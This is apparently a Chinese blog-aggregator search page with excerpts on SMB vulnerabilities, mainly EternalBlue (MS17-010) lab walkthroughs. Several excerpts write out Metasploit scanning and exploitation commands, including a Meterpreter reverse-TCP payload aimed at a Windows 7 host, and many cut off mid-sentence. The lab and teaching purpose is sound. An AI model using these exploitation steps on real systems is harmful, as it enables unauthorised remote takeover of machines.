精华内容
下载资源
问答
  • SMB协议漏洞分析

    千次阅读 2018-03-09 15:33:02
    SMB协议漏洞分析2017年,勒索病毒WannaCry和Petya利用SMB 1.0暴露的漏洞,利用Windows操作系统445端口进行传播。不同SMB版本在Windows出现的顺序: CIFS – Windows NT 4.0 SMB 1.0 – Windows 2000 SMB 2.0 – ...

    SMB协议漏洞分析


    2017年,勒索病毒WannaCry和Petya利用SMB 1.0暴露的漏洞,利用Windows操作系统445端口进行传播。

    不同SMB版本在Windows出现的顺序:

    • CIFS – Windows NT 4.0
    • SMB 1.0 – Windows 2000
    • SMB 2.0 – Windows Server 2008 and Windows Vista SP1
    • SMB 2.1 – Windows Server 2008 R2 and Windows 7
    • SMB 3.0 – Windows Server 2012 and Windows 8
    • Smb 3.02 – Windows Server 2012 R2 and Windows 8.1


    客户端和服务器SMB版本兼容性列表:

    操作系统

    Windows 8.1,
    Server 2012 R2

    Windows 8,
    Server 2012

    Windows 7,
    Server 2008 R2

    Windows Vista,
    Server 2008

    Windows XP, Server 2003 and earlier

    Windows 8.1 ,
    Server 2012 R2

    SMB 3.02

    SMB 3.0

    SMB 2.1

    SMB 2.0

    SMB 1.0

    Windows 8 ,
    Server 2012

    SMB 3.0

    SMB 3.0

    SMB 2.1

    SMB 2.0

    SMB 1.0

    Windows 7,
    Server 2008 R2

    SMB 2.1

    SMB 2.1

    SMB 2.1

    SMB 2.0

    SMB 1.0

    Windows Vista,
    Server 2008

    SMB 2.0

    SMB 2.0

    SMB 2.0

    SMB 2.0

    SMB 1.0

    Windows XP, 2003 and earlier

    SMB 1.0

    SMB 1.0

    SMB 1.0

    SMB 1.0

    SMB 1.0


    我们的生产环境都是Windows Server 2012 R2,下面是SMB Server和SMB Client对应的服务:

    LanmanServer

    clip_image001

    LanmanWorkstation

    clip_image002

    可以看到都不支持SMB 1.0驱动。


    尝试修改Windows Server 2012 R2的445端口

    尝试使用Windows Server 2003修改445端口的方式,修改端口为48322

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Smb]

    "SessionPort"=dword:0000bcc2

    "DatagramPort"=dword:0000bcc2

    重启服务器后,查看到依然监听在445端口,UNC仍能访问。说明修改端口失败。该方式只能用在SMB 1.0版本时代。

    展开全文
  • SMB协议——永恒之蓝漏洞利用

    千次阅读 2019-03-06 21:28:07
    SMB — 永恒之蓝漏洞利用 1、实验环境: 攻击机:kali IP:192.168.247.158 被攻击机:Win 7 IP:192.168.247.150 2、实验步骤: 被攻击机Win 7: 在被攻击机Win 7中开启SMB1,HKEY_LOCAL_MACHINE/SYSTEM/...

    SMB — 永恒之蓝漏洞利用

    1、实验环境:

    攻击机:kali         IP:192.168.247.158

    被攻击机:Win 7     IP:192.168.247.150

    2、实验步骤:

    被攻击机Win 7:

    在被攻击机Win 7中开启SMB1,HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/LanmanServer/Parameters,新建一个DWORD,并将其命名为SMB1,修改它的值为1

    攻击机:

    2.1、在kali上切换目录cd  /usr/share/metasploit-framework/modules/auxiliary/scanner/smb,可以看到ms17_010的漏洞

    2.2、连接postgresql数据库,不连接的话扫描的信息无法入库。

    • 启动数据库:service postgresql start
    • 初始化数据库:msfdb init
    • 启动msfconsole:msfconsole

    2.3、使用db_status确认数据库是否正确连接。

    2.4、运行smb模块探测主机445端口开放情况。

    use auxiliary/scanner/smb/smb_ms17_010

    2.5、使用smb_ms17_010模块进行网段扫描

    • set rhosts 192.168.247.0/24     #设置扫描的网段
    • set threads 16                              #设置开启的线程的数量
    • run                                               #扫描

    2.6、扫描完成后,扫描的信息会自动存入数据库,可通过hosts命令查看

    2.7、使用攻击模块

    • use exploits/windows/smb/ms17_010_eternalblue        # exploits渗透攻击模块
    • set payload windows/x64/meterpreter/reverse_tcp       # payload攻击载荷模块,为了以后可以持久化控制目标
    • set rhost 192.168.247.150                                            #设置被攻击机的IP
    • set lhost 192.168.247.158                                            #设置本机的IP

    2.8、在开始攻击之前,打开Wireshark进行抓包。攻击结果如下:

    2.9、sysinfo                   #显示被攻击者计算机的信息

    3、抓包分析

    1、首先客户端发送一个SMB Negotiate Protocol Request请求数据报,并列出它所支持的所有SMB协议版本。(正常共享的话,客户端会列出好几个它支持的版本,如果是攻击的话,会故意拉低版本,版本越低,安全性越差)

    2、服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。

    3、协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送Session Setup AndX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器。

    4、服务器通过发送一个Session Setup AndX应答数据报来允许或拒绝本次连接。

    5、当客户端和服务器完成了磋商和认证之后,它会发送一个Tree Connect AndX或TconX SMB数据报并列出它想访问网络资源的名称

    6、之后服务器会发送一个Tree Connect AndX应答数据报以表示此次连接是否被接受或拒绝。

    7、连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

    展开全文
  • 聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士团队ZecOps公司的安全研究员刚刚披露了影响Server Message Block (SMB)协议的一个新型严重漏洞,它...

     聚焦源代码安全,网罗国内外最新资讯!

    编译:奇安信代码卫士团队

    ZecOps公司的安全研究员刚刚披露了影响 Server Message Block (SMB) 协议的一个新型严重漏洞,它可导致攻击者远程泄露内核内存,而且当结合使用之前披露的“可蠕虫”bug,可实现远程代码执行攻击。

         

    影响版本


    SMBleed 漏洞 (CVE-2020-1206) 存在于 SMB 的解压缩函数中。而 SMBGhost 或 EternalDarkness 漏洞 (CVE-2020-0796)也存在于该函数中,可导致Windows 系统遭受恶意软件攻击并可能进行蠕虫式传播。

    SMBleed 漏洞影响 Windows 10 版本1903和1909,微软已在6月份的补丁星期二中修复。

    上周,美国网络安全和基础设施安全局 (CISA) 发布公告称,SMBGhost 漏洞的 PoC 已发布,Windows 10 用户应该尽快更新机器。SMBGhost 漏洞的危害巨大,CVSS 分数达到满分10分。

         

    漏洞简述


    SMB 协议运行在 TCP 端口445 上,是一个网络协议,提供文件共享、网络浏览、打印服务和网络进程间通信的基础。

    研究人员指出,SMBleed 漏洞源自 “Srv2DecompressData”中的解压缩函数对特殊构造的且发送至目标 SMBv3 Server的信息请求(如 SMB3 WRITE)处理不正确,从而导致攻击者能够读取未初始化内核内存并修改压缩函数。

    研究人员指出,“该信息结构中包含注入写入和标记的字节数量以及一个变量长度的溢出。这对于漏洞利用而言堪称完美,因为我们可以构造一条信息以具体说明该标头,但变量长度的溢出中包含未初始化数据。成功利用该漏洞的攻击者能够获取信息以进一步攻陷用户系统。要利用该漏洞攻击服务器,未认证攻击者可向目标 SMBv3 服务器发送一个特殊构造的数据包。”

    微软补充说明道,“要利用该漏洞攻击客户端,未认证攻击者需要配置一个恶意 SMBv3 服务器并说服用户与之连接。”

    更糟糕的是,SMBleed 可结合使用SMBGhost,在未修复的 Windows 10 系统中实现远程代码执行后果。该公司已发布PoC exploit 代码演示这些缺陷如何利用。

         

    缓解措施


    建议家庭和企业用户尽快安装最新的 Windows 更新。

    对于补丁不可用的系统,建议拦截端口445以阻止横向移动和远程利用。

    微软在安全指南中已说明漏洞修复方法。

    推荐阅读

    SMBGhost 漏洞 CVE-2020-0796 的PoC 已发布,攻击现身

    SMBGhost 漏洞 CVE-2020-0796 的PoC 已发布,攻击现身

    原文链接

    https://thehackernews.com/2020/06/SMBleed-smb-vulnerability.html

    题图:Pixabay License

    本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。

    奇安信代码卫士 (codesafe)

    国内首个专注于软件开发安全的

    产品线。

        点个 “在看” ,加油鸭~

    展开全文
  • SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议 实验环境: Kali msf以及wireshark Win7开启网络共享(SMB协议) 实验步骤: 1、查看本机数据库是否开启,发现数据库是关闭的,需要开启   2、打开本机数据库...

    SMB协议利用之ms17-010-永恒之蓝漏洞抓包分析SMB协议

    实验环境:

    Kali msf以及wireshark

    Win7开启网络共享(SMB协议)

    实验步骤:

    1、查看本机数据库是否开启,发现数据库是关闭的,需要开启

      

    2、 打开本机数据库

      

    3、再次查看postgresql数据库状态,发现postgresql数据库已经开启

      

    4、打开msf,查看msf是否连接上数据库,下图显示连接上数据库了

      

    5、如果没有连上数据库,并且发现数据库服务也开启了,这时可以通过初始化msf 数据库,便能解决问题

      

    6、接下来便进行再msf中一些操作了,发现哪些主机开启445端口

    利用auxiliary/scanner/smb/smb_version脚本搜索有哪些主机开放了smb服务

      

    7、使用hosts查看有总共哪些主机开放了445端口

      

    8、得到主机开放了445端口(SMB)之后,然后判断是否存在ms17-010-永恒之蓝漏洞

    利用auxiliary/scanner/smb/smb_ms17_010脚本扫描判断目标是否存在ms17-010-永恒之蓝漏洞,这里以其中一个为例,当然也可以跳过445端口扫描,直接进行MS17-010漏洞扫描。

      

    9、运行后,可以看到扫描结果,说明192.168.43.111可能存在MS17-010漏洞

      

    10、接下来就是利用exploit/windows/smb/ms17_010_eternalblue脚本扫描刚才可能存在MS17-010漏洞的主机,为了以后可以持久化控制目标,这里需要加载一个payload(这里用windows/x64/meterpreter/reverse_tcp),同时在本地开启监听

     

    11、开始攻击,把抓包,从下图可以看到攻击成功

      

    12、抓包对整个攻击过程进行分析

    12.1、首次首先客户端发送一个SMB negotiate protocolrequest请求数据报,并列出它仅支持SMBv1   #注意在这里与正常的不同,正常的会列出好多版本,正常的SMB通信过程见我的博客相关内容。

     

      

    12.2、服务端一般默认开启SMBv1,下图说明,服务端同意与客户端建立连接并用SMBv1版本通信。

      

    12.3、协议确定之后, 客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送session setup request请求数据报实现的。可以看到下图使用匿名用户登录。

      

    12.4、服务器通过发送一个session setup response应答数据报来允许或拒绝本次连接,下图没有提示出错,可以说明允许本次连接。

      

    12.5、当客户端和服务器完成了磋商和认证之后,它会发送一个tree connect andx rerquest SMB数据报并列出它想访问网络资源的名称。

      

    12.6、服务器会发送一个tree connect andx response应答数据报以表示此次连接是否被接受或拒绝,下图可以看到没有提示错误,说明连接成功。

      

    12.7、在接下来就是连接到相应资源后,SMB客户端进行的一些操作了,这里不进行分析了。

     

     

    ------------------------------------------------------------------------------------------------------------

    SMB协议原理抓包分析请参考:https://www.cnblogs.com/yuzly/p/10480438.html

     

     

     

    转载于:https://www.cnblogs.com/yuzly/p/10486253.html

    展开全文
  • SMB漏洞

    千次阅读 2019-10-05 20:23:48
    一,SMB信息泄露 充电站: 二,MS17-010 (永恒之蓝) 复现 一,SMB信息泄露 靶场:192.168.11.167 攻击机:kali 192.168.11.165 信息探测: nmap -sV 192.168.11.167 可以看到开放了,22 ssh端口,139,445...
  • SMB协议与永恒之蓝漏洞利用

    千次阅读 2019-06-19 21:12:34
    一,SMB服务 SMB(全称为Server Message Block)是一个协议名,可用于在计算机间共享文件、打印机,串口等,电脑上的...SMB协议和NETBIOS协议在Windows主机默认安装; SMB版本最新的是3.X,win7和vista是2.X。wi...
  • 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索...
  • SMB协议

    千次阅读 2019-09-23 14:23:33
    SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。 Port 139 (TCP) - 文件和打印共享 ; smbd (基于SMB(Server Message Port 445 ...
  • 永恒之蓝漏洞复现

    2021-03-09 19:41:48
    这里写自定义目录标题环境漏洞复现靶机真机攻击机 环境 1.攻击机:kali 192.168.182.130 2.靶 机:win7x64位 192.168.182.129 漏洞复现 靶机 1.关闭防火墙 2.设置允许远程控制。 3.禁用共享文件夹 真机 为了防止...
  • 永恒之蓝漏洞利用

    千次阅读 2020-08-03 23:20:53
    永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索...
  • CVE-2020-1301: Windows SMB v1 远程代码执行漏洞通告 360-CERT [三六零CERT ](javascript:void(0)???? 三六零CERT
  • 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索...
  • 来一张wireshark抓下的SMB包,再解读一下。 一个包的内容有 网卡 IPV4 TCP NetBIOS SMB  SMB header  SMB Command: xxx  Error class: xxx  info名(xxx)  # session key往下的部分的,如  ...
  • SMB服务漏洞MS17-010渗透测试

    万次阅读 2018-07-03 20:25:56
    1.MS17-010漏洞简介 MS17-010是微软Windows 系统SMB协议漏洞。由于某些请求的处理不当,Microsoft Server Message Block 1.0(SMBv1)中存在多个远程代码执行漏洞,远程Windows主机受到以下漏洞的影响:CVE-...
  • 腾讯电脑管家 · 2015/04/17 17:06前几天Cylance发布了一个影响Windows系统的漏洞,攻击者可以通过重定向到SMB协议的方式,利用“中间人攻击”来盗取用户认证信息。这个攻击究竟是怎么回事?“重定向SMB”又是什么呢...
  • SMB网络文件系统协议, 全名服务器消息块(Server Message Block),曾用名CIFS(通用互联网文件系统 Common Internet File System), 公元1983年诞生于IBM[1],幼年得到英特尔和微软的照料,最终在微软的培养下成长...
  • 永恒之蓝漏洞简单分析

    千次阅读 2020-04-21 18:25:38
    漏洞分析 CVE-2017-0144 前言 自从上次快把HEVD栈溢出的博客写完,不小心手贱点关了,结果菜鸡的我一顿操作都没找回来,就不想写博客了(后来大佬说使用windbg附加,找到那块内存,dump出来就可以还原了,自己还是...
  • 常见服务/协议漏洞

    千次阅读 2018-08-22 17:23:04
    FTP 服务 FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或...69(tftp小型文件传输协议) 攻击方式: 爆破:ftp的爆破工具有很多,这里我推荐owasp的Bruter 以及msf中f...
  • 常见服务&协议漏洞

    2018-10-19 09:25:39
    FTP 服务 FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的...69(tftp小型文件传输协议) 攻击方式:  爆破:ftp的爆破工具有很多,这里我推荐owasp的Bruter ...
  • rpc2socks客户端是一个Python3包和交互式脚本,使用与通过SMB协议(命名管道)在服务器端进行通信。 rpc2socks-server在C ++中作为本机,静态链接的Windows控制台应用程序(如果在编译时启用,则是服务)实现,...
  • SMB协议(ipc$攻击)

    千次阅读 2020-02-11 22:34:31
    IPC$和windows的SMB共享都是复用了445端口,它们都基于SMB协议实现,但是IPC$的作用范围更大一些,它是服务器间进程间通信方式。 IPC$的登录验证方式可分为: 1:匿名anonymous IPC$: 空账号,空密码可访问,但是...
  • SMBGhost:一个SMB的RCE幽灵漏洞

    千次阅读 2020-03-11 23:06:21
    点击蓝字关注黑鸟情报局近日,一个SMB协议漏洞CVE-2020-0796再次炸锅安全圈,有趣的是,刚过去的微软星期二补丁日,补丁列表上面居然没有CVE-2020-0796这个漏洞编号,国...
  • 漏洞编号和级别 2020 年 3 月 11 日 漏洞编号和级别 CVE 编号:CVE-2020-0796,危险级别:严重,CVSS 分值:官方未评定 影响版本 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x...
  • 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索...
  • windows server 2008攻略之SMB V2漏洞

    千次阅读 2011-10-27 12:40:05
     然而,由于应用需要,许多服务器都要提供文件和打印机共享服务,这就导致了SMB V2漏洞的存在,虽然已经能够是09年的漏洞,可是还是有好多粗心的没打补丁的肉鸡哦。SMB在Windows中被用来在网络设备(如打印机和文件...
  • 背景2017年5月24日Samba官方发布了安全公告,在Samba 3.5.0 以后的版本中存在严重的代码执行漏洞(CVE-2017-7494)。在rpc_server/srv_pipe.c中的存在一个验证BUG,攻击者可以利用客户端上传恶意动态库文件到具有可写...
  • 我们都知道,一般开共享的主机,默认都打开139和445端口, 也就是开启SMB服务,但是这两个端口经常被不法分子利用,比较经典的针对这两个端口的入侵就是IPC$管道,结合TFTP,利用任务计划完全控制远程主机,2004年那...
  • 方程式Windows SMB利用

    2017-05-04 10:05:50
    方程式利用

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,707
精华内容 2,682
关键字:

smb协议漏洞